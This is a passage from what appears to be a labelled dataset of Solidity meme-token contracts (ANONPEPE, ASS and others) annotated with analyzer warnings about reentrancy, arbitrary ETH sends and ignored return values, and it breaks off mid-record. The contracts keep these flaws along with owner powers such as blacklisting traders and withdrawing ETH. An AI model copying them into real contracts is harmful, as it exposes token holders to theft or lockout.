WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9b7a983): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9b7a983: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 206ceeb): AUSTIN.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 206ceeb: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 963f8b5): AUSTIN.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 963f8b5: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1fa1d3c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1fa1d3c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 9b7a983\n\t\t// reentrancy-eth | ID: 1fa1d3c\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 9b7a983\n\t\t// unused-return | ID: 963f8b5\n\t\t// reentrancy-eth | ID: 1fa1d3c\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 9b7a983\n\t\t// unused-return | ID: 206ceeb\n\t\t// reentrancy-eth | ID: 1fa1d3c\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 9b7a983\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 1fa1d3c\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 6bf85bc): AUSTIN.withdrawStuckEth(address)._wallet lacks a zerocheck on \t _taxWallet = _wallet\n\t// Recommendation for 6bf85bc: Check that the address is not zero.\n function withdrawStuckEth(address payable _wallet) external {\n require(msg.sender == deployer);\n\t\t// missing-zero-check | ID: 6bf85bc\n _taxWallet = _wallet;\n\n payable(msg.sender).transfer(address(this).balance);\n }\n}\n",
"file_name": "solidity_code_10869.sol",
"size_bytes": 18638,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract ANONPEPE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e511491): ANONPEPE._taxWallet should be immutable \n\t// Recommendation for e511491: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 firstBlock;\n\n\t// WARNING Optimization Issue (constable-states | ID: 32c826d): ANONPEPE._initialBuyTax should be constant \n\t// Recommendation for 32c826d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2282953): ANONPEPE._initialSellTax should be constant \n\t// Recommendation for 2282953: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: f351f03): ANONPEPE._finalBuyTax should be constant \n\t// Recommendation for f351f03: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: f2927b3): ANONPEPE._finalSellTax should be constant \n\t// Recommendation for f2927b3: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: bbb4678): ANONPEPE._reduceBuyTaxAt should be constant \n\t// Recommendation for bbb4678: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: b9d48de): ANONPEPE._reduceSellTaxAt should be constant \n\t// Recommendation for b9d48de: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9d533b7): ANONPEPE._preventSwapBefore should be constant \n\t// Recommendation for 9d533b7: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Anonymous Pepe\";\n\n string private constant _symbol = unicode\"APE\";\n\n uint256 public _maxTxAmount = 20000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0ff6a4d): ANONPEPE._taxSwapThreshold should be constant \n\t// Recommendation for 0ff6a4d: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8848052): ANONPEPE._maxTaxSwap should be constant \n\t// Recommendation for 8848052: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 10000000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 90a1438): ANONPEPE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 90a1438: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b596e78): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b596e78: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 734ef65): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 734ef65: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: b596e78\n\t\t// reentrancy-benign | ID: 734ef65\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: b596e78\n\t\t// reentrancy-benign | ID: 734ef65\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 07d3cc5): ANONPEPE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 07d3cc5: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 734ef65\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: b596e78\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d5bde16): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d5bde16: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1d414a6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1d414a6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n if (firstBlock + 3 > block.number) {\n require(!isContract(to));\n }\n\n _buyCount++;\n }\n\n if (to != uniswapV2Pair && !_isExcludedFromFee[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: d5bde16\n\t\t\t\t// reentrancy-eth | ID: 1d414a6\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: d5bde16\n\t\t\t\t\t// reentrancy-eth | ID: 1d414a6\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 1d414a6\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: d5bde16\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 1d414a6\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 1d414a6\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: d5bde16\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: b596e78\n\t\t// reentrancy-events | ID: d5bde16\n\t\t// reentrancy-benign | ID: 734ef65\n\t\t// reentrancy-eth | ID: 1d414a6\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 168f13f): ANONPEPE.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 168f13f: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: b596e78\n\t\t// reentrancy-events | ID: d5bde16\n\t\t// reentrancy-eth | ID: 1d414a6\n\t\t// arbitrary-send-eth | ID: 168f13f\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 42d41e2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 42d41e2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8c3a2cf): ANONPEPE.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 8c3a2cf: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 05dd790): ANONPEPE.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 05dd790: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d8088fa): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d8088fa: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 42d41e2\n\t\t// reentrancy-eth | ID: d8088fa\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 42d41e2\n\t\t// unused-return | ID: 8c3a2cf\n\t\t// reentrancy-eth | ID: d8088fa\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 42d41e2\n\t\t// unused-return | ID: 05dd790\n\t\t// reentrancy-eth | ID: d8088fa\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 42d41e2\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: d8088fa\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 42d41e2\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_1087.sol",
"size_bytes": 19595,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract ASS is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: c379d5d): ASS._taxWallet should be immutable \n\t// Recommendation for c379d5d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 332d92c): ASS._initialBuyTax should be constant \n\t// Recommendation for 332d92c: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: ec3b84b): ASS._initialSellTax should be constant \n\t// Recommendation for ec3b84b: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0523c94): ASS._reduceBuyTaxAt should be constant \n\t// Recommendation for 0523c94: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 42654c2): ASS._reduceSellTaxAt should be constant \n\t// Recommendation for 42654c2: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7785252): ASS._preventSwapBefore should be constant \n\t// Recommendation for 7785252: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 59f0a61): ASS.zero should be constant \n\t// Recommendation for 59f0a61: Add the 'constant' attribute to state variables that never change.\n uint8 public zero = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 21000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"WE LOVE ASS\";\n\n string private constant _symbol = unicode\"ASS\";\n\n uint256 public _maxTxAmount = 420000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 420000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: a1b4c6d): ASS._taxSwapThreshold should be constant \n\t// Recommendation for a1b4c6d: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 210000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 42facb2): ASS._maxTaxSwap should be constant \n\t// Recommendation for 42facb2: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 210000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 33b97a0): ASS.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 33b97a0: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 85f7d7b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 85f7d7b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ffbc6ac): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ffbc6ac: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 85f7d7b\n\t\t// reentrancy-benign | ID: ffbc6ac\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 85f7d7b\n\t\t// reentrancy-benign | ID: ffbc6ac\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f0c9480): ASS._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for f0c9480: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: ffbc6ac\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 85f7d7b\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ee26671): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ee26671: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a7cb11f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a7cb11f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) 